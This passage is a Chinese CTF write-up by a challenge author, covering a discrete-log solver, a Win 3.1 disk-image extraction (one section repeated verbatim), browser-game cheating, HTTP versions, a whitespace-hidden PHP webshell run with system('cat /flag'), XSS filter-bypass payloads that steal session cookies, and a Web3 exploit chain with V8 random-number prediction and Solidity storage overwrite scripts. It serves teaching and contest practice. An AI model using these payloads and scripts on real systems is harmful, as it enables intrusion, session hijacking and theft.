    for q in range(m):
        if ygqm in table:
            return q * m + table[ygqm]
        ygqm = (ygqm * gm) % p
    return None

# Pohlig–Hellman法
def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q, _ in factor(p-1):
        x = babystep_giantstep(pow(g,(p-1)//q,p), pow(y,(p-1)//q,p), p, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = 2
y = 
x = 
p = pohlig_hellman_DLP(g, y, x)
print(p)
print(pow(g, p, x) == y)

比赛结束之后,我才发现sagemath里的discrete_log好像内置了Pohlig-Hellman函数,有现成的函数,直接将数据输进去就完事了,但是也是要模数光滑才能秒求,sagemath就是我的神。
看看封神现场
alt text


这题对于大家来说确实有点难了,并且趣味性也大大降低了。

【中等】时间悖论 (Time Paradox)

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思。话接上文,这个环境只出一道简单题那也太浪费了。于是借由 Time Paradox 的典故,将使用现代程序才能打开的文件(DOCX)整了进去。

那该怎么办呢?依据 John Titor 的理论,大家在 Win 3.1 里是绝对无法打开这个文件的,否则,就会形成时间悖论

这时候便需要利用到你的 “Reading Steiner” 之能力。也就是说,只有你,有办法 "Think outside the box",感知到世界线的变动,以 “第三者” 的视角看待所有的世界线。

不说得那么神神叨叨,实际上很简单,你现在在 2024 年,又不是 1992 年,一个小小的 DOCX 还怕打不开不成?所以问题的关键点是,怎么把这个 DOCX 文件弄出来呢?

我注意到有选手尝试使用 “网络” 这一功能,因为我打的 Network 标签。但是很遗憾,这个 x86 wasm emulator 跑在浏览器里,Win 3.1 默认也不支持 TCP/IP,而我的代码肯定是没给它提供模拟联网的设备的。

右键查看源代码,或者 F12 看网络流量,实际上能发现,为了实现 Win 3.1,浏览器请求了一个 libv86.js,提供前端的执行框架,v86.wasm,提供核心的 CPU 模拟器,seabios.bin,大家应该很熟,就是 QEMU 采用的那个 x86 BIOS,vgabios.bin,字面上意思,就是显卡,最后的 win31.img,应该就能猜到,是包含 Win 3.1 的启动盘文件了。

image-20241021010122940

这么捋一遍,把浏览器是怎么运行 Win 3.1 的问题解决了,其实跟 QEMU 是一个原理,只不过 C 换成了 js 跟 wasm 而已。不知你是否已经恍然大悟,只要把 win31.img 下下来解包,里面不就有 FLAG.DCX 了么?

这就是我为大家提供 Hint:“1992 年,Win 3.1 的硬盘格式为 FAT16。1997 年,第一版 DiskGenius 的前身发布;其直到 2024 年还在更新。” 的原因,就是怕各位不知道咋打开这个 img raw 磁盘镜像

这个 img 镜像它包含一个 BOOT SECTOR,所以你可能没有办法通过虚拟光驱等工具直接映射。很显然 DiskGenius 是可以的。只不过我后来才发现 7zip 也可以直接打开,那就更简单了。

image-20241021011031338

这时候你就成功地从 1992 年回到了 2024 年,然后用你的 Word/WPS 直接打开就完事了。

image-20241021011352393

我感觉挺简单的,但是解出人数不知道为啥这么少 (⸝⸝⸝• ω •⸝⸝⸝)

【中等】时间悖论 (Time Paradox)

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思。话接上文,这个环境只出一道简单题那也太浪费了。于是借由 Time Paradox 的典故,将使用现代程序才能打开的文件(DOCX)整了进去。

那该怎么办呢?依据 John Titor 的理论,大家在 Win 3.1 里是绝对无法打开这个文件的,否则,就会形成时间悖论

这时候便需要利用到你的 “Reading Steiner” 之能力。也就是说,只有你,有办法 "Think outside the box",感知到世界线的变动,以 “第三者” 的视角看待所有的世界线。

不说得那么神神叨叨,实际上很简单,你现在在 2024 年,又不是 1992 年,一个小小的 DOCX 还怕打不开不成?所以问题的关键点是,怎么把这个 DOCX 文件弄出来呢?

我注意到有选手尝试使用 “网络” 这一功能,因为我打的 Network 标签。但是很遗憾,这个 x86 wasm emulator 跑在浏览器里,Win 3.1 默认也不支持 TCP/IP,而我的代码肯定是没给它提供模拟联网的设备的。

右键查看源代码,或者 F12 看网络流量,实际上能发现,为了实现 Win 3.1,浏览器请求了一个 libv86.js,提供前端的执行框架,v86.wasm,提供核心的 CPU 模拟器,seabios.bin,大家应该很熟,就是 QEMU 采用的那个 x86 BIOS,vgabios.bin,字面上意思,就是显卡,最后的 win31.img,应该就能猜到,是包含 Win 3.1 的启动盘文件了。

image-20241021010122940

这么捋一遍,把浏览器是怎么运行 Win 3.1 的问题解决了,其实跟 QEMU 是一个原理,只不过 C 换成了 js 跟 wasm 而已。不知你是否已经恍然大悟,只要把 win31.img 下下来解包,里面不就有 FLAG.DCX 了么?

这就是我为大家提供 Hint:“1992 年,Win 3.1 的硬盘格式为 FAT16。1997 年,第一版 DiskGenius 的前身发布;其直到 2024 年还在更新。” 的原因,就是怕各位不知道咋打开这个 img raw 磁盘镜像

这个 img 镜像它包含一个 BOOT SECTOR,所以你可能没有办法通过虚拟光驱等工具直接映射。很显然 DiskGenius 是可以的。只不过我后来才发现 7zip 也可以直接打开,那就更简单了。

image-20241021011031338

这时候你就成功地从 1992 年回到了 2024 年,然后用你的 Word/WPS 直接打开就完事了。

image-20241021011352393

我感觉挺简单的,但是解出人数不知道为啥这么少 (⸝⸝⸝• ω •⸝⸝⸝)

【中等】一觉醒来全世界计

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思,不惜蹭了一波小猿口算PK的热点。本题其实是作为 “游戏” 系列的第二题,只不过放在了前面,另一个是 “小恐龙”,在后面会谈到。本题的构想就是引导玩家通过手动修改 HTTP POST API 的参数,来达到作弊的效果。曾经也考虑过鼠标连点速度测试、微信跳一跳、甚至一些更为复杂的网页游戏,最终还是由于日程安排上的紧张,只是简单地整了一个四则运算。

对于这个 MNIST 数字识别的部分,其实真的不怪我。善良的出题人已经很努力地在提高识别准确率了,最开始本题的 beta v1.0 测试版时,对于某些数字的识别成功率只有不到 1%;由于神经网络模型是从网上偷来的,也不知道它的结构是不是按照 MNIST 标准,反正经过一波玄学的调大小+比例之后,成为了目前各位能看到的情况。

image-20241021012623189

你就说不准吧。

但万一实在识别不出来的话,也不会影响本题的解答。对着灰色的 Submit Answer 右键点击审查元素,你能看到这个 button 的 HTML tag 。实际上把 disabled 属性一删,这按钮就可以点了,点完就进入到下一题了。

image-20241021013013335

还有更简单的,如果你尝试阅读过本题的源代码的话,你会发现有一个叫 completeChallenge() 的 JS 函数。你把它贴到控制台里边,一个回车,诶,就直接跳到排行榜的界面了,还能刷个 0 秒出来。

image-20241021013352031

不过这些在真正的实力 AAA挂哥 面前都是雕虫小技。你会发现,不管你取啥名都只能排在 AAA挂哥 后边,因为后端代码 Python sorted() 是保序的,AAA挂哥 先来的,他始终顶你前面

这才是本题真正的考点,我们观察一下在进入排行榜时产生了哪些 HTTP 请求,首先是这个 /api/submit

image-20241021013650114

可以发现,它的作用很明显是将你的当前成绩记录到后端的排行榜里。

image-20241021013753632

要超过 AAA挂哥,你就必须成为神。所以你对准这个请求右键 Edit and Resend,然后把 elapsed_time 改成了 -1

image-20241021013925684

再次进入排行榜,你的 flag 已经赫然超过 AAA挂哥。此刻你已成神。作为一名小学生。

image-20241021014019735

或者,你也可以使用 Charles、Burpsuite、右键 Copy as Fetch、甚至 curl 等方法来往 /api/submit 发包。

本题并没有(或者本意没有)给大家设置任何的障碍,依稀记得,以前玩过的坑爹小游戏里就有那种手写数字的关卡,怎么写都写不对,我怕给各位气着急了,尽自己最大的努力调高了识别率,如果你因为写的数字太漂亮被它识别不出来,还求求你不要骂我。

【中等】来自远古小恐龙的挑战书

出题组为了给大家整点简单又好玩的题,可谓是费劲了心思,甚至不惜在题面里整上了花里胡哨的排版。本题作为**“游戏”系列**的第一题,本来是可以整一些大作的,比如 GameMaker Studio。但是我一看这生成出来代码又是 webpack 又是 gms 自定义逻辑,完全不是人能看的,遂放弃之,采用了开源、更加简单的替代品。chrome://dino 相信是很多同学在上信息课时的娱乐方式,也算是家喻户晓了。本题的构想是引导玩家看懂 JS 代码,并使用 浏览器的 Console 控制台 功能进行作弊。

当然,什么都不改的话,一个 Runner.instance_.distanceRan = 99999999 就完事了,这显然太简单,于是我在代码里把原本下放到 window['Runner'] 里的实例修了。

image-20241021020159030

删去该行代码后,由于 Runner 是在 (function () { })() 里面构造的,作用域仅限于此,自然外边就访问不到了。

我相信各位大多数采用的解法都是肉眼或者 AI 观察法,一下就定位到了这段看起来非常可疑的代码上。

image-20241021020506161

无论是利用 Burpsuite 或者直接下载网站然后替换 JS 该行的检测逻辑,还是把这个复制出来,粘到控制台里执行,都是预期的解法。只不过我没想到大家或者 AI 眼睛看得也太精了,至少直接搜 flag 或者那个框的提示词文本都是找不到这里的。

image-20241021101639610

出题人的原本的打算呢,是教会大家使用 debugger 功能。但是善良的出题人还是手软了,没有给 JS 上加密。大家可以想一想,如果到这里(JS 的末尾)为止,上面有关 Runner 实际的代码全部都被加密了的话,本题又应该怎么做呢?

image-20241021102005809

不知道大家是否使用过这个在浏览器 Debugger 一栏右侧的小功能块。

image-20241021102241983

我们把 DOMContentLoaded 勾上,再刷新,会发生什么呢?

image-20241021102324041

在经历过几个插件之后(按 Resume F8 继续),会发现我们成功断在了创建新 Runner 实例的这一行。(或者可以直接在 Line 2793 处右键 Add Breakpoint)

image-20241021102650851

查看一下变量 Scopes,底下 window['Runner'] 是被替换过的 Proxy 对象,而上面那个 作用域的 Runner 自然是在 DOM 树中新创建的那个 Runner 实例对象!

image-20241021103528511

在控制台中,保持断点的状态,我们把这个 Runner 从当前的作用域中提取出来,即 let a = Runner; ,然后再继续,便可以跟最开始最简单的方法一样开挂了!

image-20241021103901965

思考题:若整个 JS 文件都被经过很强的加密了,又该怎么办?可以试着在 DOM 点击右键,Break on Subtree Modification,还是能在 Runner 内的某个地方下下断点,自然能获取其作用域。当然,这时候的变量名跟函数名就不一定会那么好看了,关于这一点,还只能自求多福 :)

【中等】 It's all about HTTP

出题组为了给大家整点好玩又具有实际意义的题,可谓是费劲了心思。说到 Web/Network,那么 HTTP 协议肯定是绕不开的一环。但是一上来就让大家开始研究什么 SSRF、解析差 之类的难度也太高了,便参考 2023 Hackergame 的那道 HTTP Status Code 集邮,结合 HTTP 的发展历史背景,让大家体验了一下 HTTP 各版本协议的差别。

HTTP 演变的几个关键历史节点,善良的出题人也已经在题面里给出提示了。

1991 年,HTTP/0.9 :使用 TCP 协议发送 GET / 并按下回车(\r\n)即可,没有任何 HTTP Header 。

1996 年,HTTP/1.0 :明确了请求方法状态码头部信息,它们仍是至今 HTTP 协议的标准结构。使用 TCP 协议发送 GET / HTTP/1.0 并按下两次回车(\r\n)即可。

1997 年,HTTP/1.1 :影响深远,扩展了 PipeliningChunked Encoding 等关键特性,时至今日仍在被广泛运用。使用 TCP 协议发送 GET / HTTP/1.1 并按下回车(\r\n)之后还不行,需要发送一个关键的 HTTP 头 Host: localhost 然后再按下两次回车(\r\n)。当然,其实直接使用 http:// 协议在现代浏览器打开就可以了,其默认采用 HTTP/1.1 。

2015 年,HTTP/2 :中间隔的这十几年,见证了互联网的兴衰史。P2P、ADSL 逐渐退出人们的日常生活,而移动设备、物联网开始取代传统 Web 。最值得注意的是,HTTP/2 终于不再采用简单的 ASCII 编码,而是一个二进制协议,也就是说直接发 GET / HTTP/2 是行不通的,因为它的协议根本不长这样。另外,HTTP/2 还强制要求 TLS 加密,这是由于 TLS 中的 ALPN 扩展可以为浏览器提供支持的协议提示,而指定通过明文信道传输的 HTTP/2 协议被称作 h2c 。直接使用 https:// 协议在现代浏览器中打开,其默认采用的就是 HTTP/2 。

2022 年,HTTP/3 :非常牛逼地采用了 UDP 协议(QUIC),自己实现了一套握手、重传、分帧以及复用的机制,也是同年(或 ± 1年),浏览器开始实验性地默认开启 QUIC 支持,行业领标 Cloudflare 也开放了免费的 QUIC 升级选项。https://blog.cloudflare.com/zh-cn/http3-usage-one-year-on/

言归正传,对于本题,HTTP/2 以下应该都是没有难度的。其中有俩浏览器直接能收集,更古老的俩我看大家使用 Python 发包会比较多,当然直接 nc (netcat) 是最快的选择。对于大部分同学而言的难点,应该是在 HTTP/3 。

如果大家有仔细观看文档站的话,善良的出题人其实已经相当于把答案给出来了。

https://docs.neu-nex.fun/web/http.html

著名的 curl 是支持 HTTP/3 的,只要你的版本够新 :)

至于如何更新至最新支持 QUIC 的版本,有从官网下载法,有装 kali 法,有使用 docker 法,我就相信大家都会了。以下是一个 docker 的例子:

sudo docker run --rm ymuski/curl-http3 curl https://IP:PORT/ -k -vv --http3

当然,其实你只用 curl 也是完全可以完成前边所有 HTTP 版本的收集的,改个参数的事,为了叙述的流畅性,我也不能一开始就这么说,哈哈。

然后恭喜你自己,成功见证了 HTTP 的发展历史!

image-20241022155943433

我在观察选手们提交上来的 wp 时,发现大多数同学使用了 quic-go,甚至还有使用 rust 构建 HTTP/3 客户端的,当然是个好办法。还有一位同学的做法比较新颖,使用了 Header Editor 插件将页面的返回头加上了 Alt-Svc 字段,让浏览器自己从 HTTP/2 升级到 HTTP/3 。

其实善良的出题人本来也是想加上的,但被题目网站的设计所限,容器环境里没法获得最外面映射的端口号(当然这不是一层简单的映射关系),想了想就算了吧,让大家自己探索。实际上,如果你在使用 Chromium 系列浏览器,由于其会限制 Alt-Svc 提供的 h3 端口只能为 privileged 低端口,即 1-1000,所以该方法几乎只在 Firefox 上可行。

不知道谁说的题目官网不支持 HTTP/3 气得我马上为他加了一个。下面是一个经典的,从 HTTP/0.9 支持到 HTTP/3 的 Nginx 配置。(当然,在去掉 Force redirect to HTTPS 的前提下)

image-20241022161045895

【中等】Don't Touch My Code!

在整了这么多道题之后,突然意识到,诶不对啊,咋没有 PHP ?说到 CTF Web,避不开的话题就是 PHP,于是当即决定新增一道。不过到底考啥,倒是个难题。总不能给大家整些 PHP 小技巧吧,这也太无聊了。类型混淆,反序列化,内置类,都考出套路来了,放在这里显然不合适。于是想起之前在 X 乎上刷到的一篇文章,利用空格等元信息隐写 webshell

首先,本题的代码逻辑真的很简单,我连注释都没删。

最开始映入大家眼帘的就是一个大大的 Hello, World! 。这时候应该能想到,诶不对啊,如果 Hello, World! 本来就在代码里,那最后 highlight_file() 又显示了一遍,不应该出现两次才对嘛?所以这个文件肯定有蹊跷,底下有你看不到的代码正在暗流涌动......

PHP 作为一门弱类型语言,甚至直接支持了动态调用函数,即,函数名是字符串而不是语法成分,它也能调用。

image-20241022184108496

所以上面的代码直接调用到了 step999999,也就是危险的 eval() 函数step4() 执行的结果则作为参数,所以这里的目标很明确,就是要搞明白它到底执行了什么?

前边的逻辑也很简单,甚至有注释,AI 基本上不可能给出错的解释。

获取所有连续的空格字符,并根据它们个数的奇偶性转换成二进制字符串,然后再转成 ASCII 码。

所以说,如果你擅自改动代码里的空格,破坏了它的平衡,解出来就会是乱码。当然,在解码前需要记得把前边的 Hello, World! 删了,因为它原本就不是代码的一部分。

选手们的 wp 里大致有一半左右,采用了 Python 进行解码,这是完全没问题的。

实际上有一种非常简单的解法,不是说不能变空格个数么,那不动空格不就行了?

image-20241022190700559

我们把这个 eval() 一改,诶改成 echo,然后再运行。( https://3v4l.org/JIUlk)

image-20241022190751667

会发现这就把原来执行的代码打印出来了,里面确实有隐藏的 echo "Hello, World!" ,并且还有一个经典的 PHP webshell

稍微了解过一点 CTF Web 的选手们到这应该已经很轻车熟路了,再加上善良的出题人并没有让大家再绕过 disable_functions 什么的,直接传参 step000000=system('cat /flag'); 即可。

image-20241022191923130

在与选手交流的过程中,我才意识到大家可能会掉进的坑点:

  1. IDE 自动把行末的空格删了!这个我只能说,哈哈,没办法,小心再小心吧。事实上,你从网页上直接 Ctrl+A 复制下来,然后粘贴到记事本里,一点问题都没有。
  2. 传参咋没反应呢?因为前端的 Nginx(或者可能是 frps)比较严格遵守 RFC3986: Uniform Resource Identifier (URI): Generic Syntax 标准,将你的分号 ; 当做了 sub-delimiter ,所以传到 PHP 以后整个参数就消失了!!将 ; 进行 URL 编码变成 %3B 后再发送,或者直接采用 POST 方法,即可避免这个坑点。

PHP 作为一门神奇的语言,也是仅有的少数的设计稀烂的并且还在被广泛应用的语言。当然自从 PHP 8 以后,安全性增强了不少,比如去除了 phar 反序列化特性,优化了强类型标注功能,内存漏洞只能说还未被发现吧,但 PHP 仍然还是 CTF Web 题里的常客,BlackHat 的常驻嘉宾,没几年就会爆出新的利用技巧。所以说,PHP 题是最吃底子和经验的。

说回本题,eval() 底下调用的是 zend_exec() 函数,实际上等效于直接将字符串替换在代码文件里,这与 Python 的 exec() 的实现非常不同。

事实上,本题还可以通过 https://github.com/extremecoders-re/php-eval-hook 直接秒,当然这有点儿小题大做了。以后如果遇到特别恶心变态的 PHP 加密,不要忘记我和它就行。

【困难】Your Favorite XSS

应参赛选手对于 XSS 的热情,现场特意加的新题,属于十分传统的 CTF Web 题。对于这种类型的题,除了对应的漏洞点,还有一个必须要掌握的技能就是“代码审计”,特别是在中大型项目里。

代码审计的概论,实际上就是你得到 flag 的过程,也被称作攻击路径(Attack Vector)。你需要时刻牢记你的最终目标,以及在当前阶段能做到什么,并在审计的过程中不断更新这样的信息。

接下来,我将带领大家体验一个完整的代码审计过程。

拿到这么一个压缩包后,我们要清楚它的结构是什么。

image-20241022193419377

很明显这个压缩包是不完整的,其没有包括 Dockerfile 或 packages.json 。这也暗示着本题的预期解与运行环境或某些组件的低版本漏洞没有关系。

对于一个 Web 应用程序,你的入口点是浏览器,在代码中体现为路由。当然,你也可以按照一般的程序执行入口点,从 app.js 开始看起:

image-20241022193658242

说实话这里边并没有什么有用的东西,但至少我们现在知道其采用的是 express 框架,ejs 模板,Admin/Privileged/Plain 密码和 secret_key 都是真随机生成,bodyParser 只有 urlencoded,而这些信息对于掌握全局至关重要。

然后再看 bot.js 。(按我个人的习惯,先看小的 :)

image-20241022194130629

是一个非常明显的 XSS 漏洞触发点,其调用 Headless Chrome 进行了如下操作:访问 /login 界面,以给定的用户名密码登录,然后再访问主页。这意味着我们可能需要在主页 / 上插入恶意脚本,以此来窃取它的会话信息。

接下来的重头戏肯定是路由,路由直接代表了我们可以做什么。

从前往后慢慢看。首先,这里有一个 isAuthenticated 的中间件,这意味着有些界面可能需要登录后才能访问,而我们窃取的会话信息,很可能就是为了绕过这个验证。

image-20241022194433159

再看,这是一个非常典型的 登录与注册 的路由写法,并不存在很显然的漏洞。其还分了三种权限,结合之前已有的信息,即,我们有极大的可能需要通过 XSS 泄露 admin 用户的会话信息,并以此获取 flag 。

image-20241022194550779

接着看,主页面 / 从 posts 根据权限进行了筛选。由于我们刚开始注册的是 plain 用户,而 admin 根本看不到我们发的 post,所以很可能还需要通过 privileged 用户作为跳板。

image-20241022194755258

接下来,就是发 post 的关键路由。可以发现其经过了,额,只能说很多的过滤。咱们现在先掌握全貌,这其中的细节可以先不用去深究。其实能猜到,作为一个 CTF 题,这地方肯定是能绕过的。

image-20241022194936353

之后这里是经典的 XSS 触发点。其分了两个等级用户登录,也印证了之前的猜想,需要从 plain 先到 privileged,再从 privileged 到 admin 。

image-20241022195140237

最后,这里的 store 路由,其实也算暗示了题目不出网了。要是能访问外部网络,还要这 store 干啥?于是我们又记着了,还有一个临时信息中转站的功能。

image-20241022195247913

作为结束,/flag 路由验证了必须是 admin 进行访问。看到这里,我们已经获取了很多信息,再进行一下逻辑链的推演,已经可以还原出本题的攻击路径:

  1. 注册 plain 用户,发表 post XSS,让 privileged bot 触发,可能将结果存在 store 里。
  2. 以 privileged 用户的身份发表 post XSS,让 admin bot 触发,将 flag 存在 store 里。
  3. 获取 flag 。

当然这其中还有一些细节,我们没有推敲。比如,如何以 privileged 用户的身份发表 post XSS ?当然,可以使用 JS 代码 fetch() 完成这一请求,但由于本题没有给 cookie 设 HttpOnly,最快的办法是直接把 privileged 用户登录的 session cookie 拿到手。又比如,如何把 cookie 存在 store 里呢?当然,这里其实涉及到一个坑点,之后会细讲。最重要的是,XSS 如何实现?由于本题也没有 CSP 等保护,再加上没给 / 页面的 ejs 源码,所以只能试一试如何绕过那个过滤了。

熟悉 XSS 的朋友们,或者可以直接从网上搜到,那一长串的检测至少存在两种绕过方式:

  1. <script>11111;</script >
  2. <img src=x onerror=window['ev'+'al']('11111;')>

前者由于 </script> 匹配得太严格了,在后面加个空格照样执行;后者由于 onXXXX 匹配得太严格了,没有引号照样执行。

能任意执行 JS 代码之后,剩下的就只有完成先前推导的攻击链了。

偷取 cookie 并存在 /store 的关键代码如下:

<script>fetch("/store", {
  method: "POST",
  body: JSON.stringify(document.cookie),
  headers: {'Content-Type': 'application/x-www-form-urlencoded'}
});</script >

这里需要注意,由于 puppeteer 的特性( https://stackoverflow.com/questions/52129649/puppeteer-cors-mistake ),没有 Access-Control-Allow-Origin 头的网站,当然就包括本题环境,只能以 no-cors 的模式请求。

很显然,no-cors 模式无法获取 fetch() 返回的 Response 文本(也被称作 opaque),否则 CORS 就没有意义了。当然,也不能 POST application/json 类型的数据,这是由 RESTful API 的设计决定的。在满足这些详细的规则( https://developer.mozilla.org/en-US/docs/Glossary/CORS-safelisted_request_header )后,其实浏览器会自动以 no-cors 的模式去 fetch 。

这样的特性也决定了,我们没有办法指引 admin bot 去访问 /flag 路由,而只能偷取它的 cookie,我们自己登录后再去 get flag 。

所以说,经过一系列的分析,本题的操作实际上也不难:

  1. 注册新用户;
  2. 发表如上 XSS 内容的 post;
  3. 在 /store 处找到 privileged 用户的 cookie,并覆盖为它的;
  4. 再次发表如上内容的 post;
  5. 在 /store 处找到 admin 用户的 cookie,再次覆盖;
  6. 访问 /flag 。

大家以后在比较正式的比赛中遇到的 CTF 题,基本上都是这样式的,不仅考察基本的漏洞点利用,还会加上一些小技巧让你绕过,最后需要结合题目中的各种线索,拼凑出完整的利用链来。

【 ? 】Web3 & Wordpress

本题在 CTF Web 题中也算比较难的类型,并没有让大家做出来的打算。算是让大家见识见识吧。

代码很多,很复杂,首先明确一下要做什么。

要获取 flag。flag 在哪?/api/flag 路由里边有。

img

然后需要 info.accounts[0].addr 及其私钥用来签名。这个又在哪里?/api/bot 里面有。

img

这里是个 XSS,admin 把私钥填进去,然后看了看 Posts。先别管具体咋 X 的,找找内容从哪里来。

img

可以发现 admin 查看了自己的 Posts,然后上边那个 dangerouslySetInnerHTML 直接就把我们的内容合并进去,一发 XSS 了。

所以我们的目标是,修改 admin 的 Posts 为恶意内容,触发 XSS。只有这条路,因为其他啥参数都不可控。

那么现在可以做什么呢?有个区块链,web3,想干点啥都要金币,但是初始账户里没有余额。所以首先,得往自己的账户里充钱。看 /api/recharge 可以发现充钱是要用 redeem code 充的。它生成的逻辑是这样:

img

img

经典 Math.random() 了,在 Node.JS 里边是可以预测的,当然,理论上也可以向前”预测”。再看看这玩意其他的输出点。

img

又发现,爆 500 的时候顺便把这玩意输出来了,给定了足够的状态以后,就可以还原 redeem code。

https://github.com/PwnFunction/v8-randomness-predictor

然而再仔细看看,会发现有点不对头。这里输出的是 36 进制的 String,一次 Math.random().toString(36) 小数点后有 11 位,recharge 的 16 长度由两个拼接而来,但报错里能获取的只有 10 位,也就是最后一位没了。

刚开始想爆破,然后发现不太现实。其实 V8 随机数生成的逻辑很简单,就是位移移异或或,所以理论上失去了最后一位(大约 4~8 bit 的信息),是能通过更多的状态补充回来的。也就是说要做的其实很简单,把代码改成向前回溯状态(”预测”)的,然后加入 10 个左右生成的数(原本是 5 个),在计算时把低 8 位 mask 掉(表示未知),照样能解出来。

#!/usr/bin/python3
import z3
import struct
 
def base_fromf(x):
    ret = 0.0
    base = 1/36
    for i in range(len(x)):
        ret += base * int(x[i], 36)
        base /= 36
    return ret
 
def base_tof(x):
    ret = ''
    while x > 1e-4:
        ret += '0123456789abcdefghijklmnopqrstuvwxyz'[int(x*36)]
        x = x*36 - int(x*36)
    return ret
 
def check(sequence):
    sequence = sequence[::-1]
 
    solver = z3.Solver()
 
    se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
 
    for i in range(len(sequence)):
        se_s1 = se_state0
        se_s0 = se_state1
        se_state0 = se_s0
        se_s1 ^= se_s1 << 23
        se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift
        se_s1 ^= se_s0
        se_s1 ^= z3.LShR(se_s0, 26)
        se_state1 = se_s1
 
        if isinstance(sequence[i], str): 
            solver.add(z3.BitVec(sequence[i], 64) == z3.LShR(se_state0, 12))
            continue
 
        float_64 = struct.pack("d", sequence[i] + 1)
        u_long_long_64 = struct.unpack("<Q", float_64)[0]
 
        # Get the lower 52 bits (mantissa)
        mantissa = u_long_long_64 & ((1 << 52) - 1)
 
        mask = ((1 << 64) - 1) & ~((1 << 8) - 1)
        # Compare Mantissas ( except lower 8 digits )
        solver.add((int(mantissa) & mask) == (z3.LShR(se_state0, 12) & mask))
 
    if solver.check() == z3.sat:
        return solver.model()
    return False
 
def answer(model):
    states = {}
    for state in model.decls():
        states[state.__str__()] = model[state]
 
    print(states)
 
    state0 = states["se_state0"].as_long()
 
    for state in model.decls():
        if (mat:=state.__str__()).startswith('mat'):
            
            u_long_long_64 = (states[mat].as_long() >> 0) | 0x3FF0000000000000
            float_64 = struct.pack("<Q", u_long_long_64)
            prev_sequence = struct.unpack("d", float_64)[0]
            prev_sequence -= 1
 
            print(mat, prev_sequence, base_tof(prev_sequence))
 
org = ['mat0','mat1','mat2','mat3','mat4','mat5']
 
def getapd(n):
    import requests
    ret = []
    for i in range(n):
        res = requests.post('http://ctf2024-entry.r3kapig.com:32090/api/backend', data='{"js', headers={'Content-Type': 'application/json'})
        print(i, num:=res.json()['data']['id'])
        ret.append(num)
    ret = ret[1:] # first for check
    print('')
    return ret
 
# Array.from(Array(100), ()=>(Math.random().toString(36).substring(2).slice(0,10)))
apd = getapd(10)
 
apd = list(map(base_fromf, apd))
print(apd)
model = check(org + apd)
if model is False:
    print('unsolvable')
else:
    answer(model)

Python 的 36 进制转 10 进制小数还有点精度丢失,行为不一致,很难崩,结果拷到 Node.JS 上面再转。

有了金币以后就可以进行智能合约的链上操作,这上边能 register,publish,edit,但问题是,都只能操作自己的,也就是 sender.address,没法修改别人,或者说 admin 的 Posts 。

img

再仔细看看这里,这个 undo() 功能,首先把 length 减了 1,然后再判断它是否 >=0。看起来好像没问题?因为 require() 不满足,交易就不会成功。再说了,就算是负数又能怎么样。然后可以发现,length 在 solidity 里是个 uint256 类型的,也就是说 0-1 会下溢出至 2^256-1 最大值,导致该数组可以对任意的 offset 进行访问,理论上形成任意读写。

img

这里便需要一些 solidity memory layout 的知识。

https://docs.soliditylang.org/en/v0.8.17/internals/layout_in_storage.html

对着它的合约,version 占据 slot0,我们在的 postMapping 对应 slot4,也就是说,postMapping[address] 对应的 slot 为 keccak256(bytes32(account) + bytes32(4)) 。由于 Post[] 又是 dynamic array,需要对之前得到的地址再次 keccak256(),得到该数组的起始 slot。数组内各元素存放地址为 keccak256(起始slot + index)

img

有了该溢出之后,由于 solidity 对每个合约共用一个 2^256 slot 大小的地址空间,也就是说,由我们的 Post[] 是可以访问到对应 admin 的 Post[] 数组的,只是需要注意到一些简单的计算。这里还要特别注意,由于 struct Post 占 3 个 slot,所以计算 offset 时需要除以 3,并保证能够整除,否则需要更换地址继续。

mypos = keccak256(keccak256(bytes32(account) + bytes32(4)))
admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276'[2:].lower() # <--- admin public address
apos = keccak256(keccak256(bytes32(admin) + bytes32(4)))
 
offset = int(apos, 16) - int(mypos, 16)
if offset < 0:
    offset += 2**256
assert(offset % 3 == 0)
offset //= 3

搜出来路径可能不唯一,但有肯定是有的。然后用经典 img.src 送到我们服务器上即可。

至此,已经完成了攻击链的所有步骤。

V8 随机数向前预测,计算充值码 ==> 在 Solidity 合约上 slot 任意读写 ==> 修改 admin 的 Post 并 XSS ==> prvkey 签名得到 flag

import requests, web3, json, binascii
from Crypto.Hash import keccak
from web3 import Web3
from eth_account.messages import encode_defunct
 
URL = 'http://ctf2024-entry.r3kapig.com:32090'
 
prvkey = '0x000000000000000000000000000000000000000000000000000000000000000b'
 
res = requests.get(URL + '/api/backend').json()['data']['blog']
address = res['address']
abi = res['abi']
 
web3 = Web3(Web3.HTTPProvider(URL + '/rpc'))
account = web3.eth.account.from_key(prvkey).address
 
# -----------
def bytes32(i):
    return binascii.unhexlify('%064x' % i).hex()
def keccak256(x):
    k = keccak.new(digest_bits=256)
    k.update(bytes.fromhex(x))
    return k.hexdigest()
 
mypos = keccak256(keccak256(bytes32(int(account, 16)) + bytes32(4)))
admin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276' # <--- MODIFY TO ADMIN ADDRESS HERE
apos = keccak256(keccak256(bytes32(int(admin, 16)) + bytes32(4)))
 
print('from', mypos, '=>', apos)
offset = int(apos, 16) - int(mypos, 16)
if offset < 0:
    offset += 2**256
print('offset', bytes32(offset))
assert(offset % 3 == 0)
# -----------
 
code = 'MWP-nn4lpyib8s418b0t' # <--- MODIFY TO REDEEM CODE HERE
message = encode_defunct(text = account + '|' + code)
data = {'code': code, 'address': account,
    'signature': '0x'+bytes(web3.eth.account.sign_message(message, private_key=prvkey).signature).hex()}
print(data)
res = requests.post(URL + '/api/recharge', json=data)
print(res.text)
 
print('connected', web3.is_connected())
print('blockchain', web3.eth.block_number)
print('my balance', web3.eth.get_balance(account))
 
from web3.middleware import geth_poa_middleware
web3.middleware_onion.inject(geth_poa_middleware, layer=0)
 
contract = web3.eth.contract(address=address, abi=abi)
print('username_count', contract.functions.getUserNameCount().call())
 
def call(total_fee, func):
    transaction = {
        'from': account,
        'value': total_fee,
        'gas': 3000000,  # adjust the gas limit as needed
        'gasPrice': web3.to_wei('5', 'gwei'),  # adjust the gas price as needed
        'nonce': web3.eth.get_transaction_count(account)
    }
 
    txn = func.build_transaction(transaction)
    signed = web3.eth.account.sign_transaction(txn, prvkey)
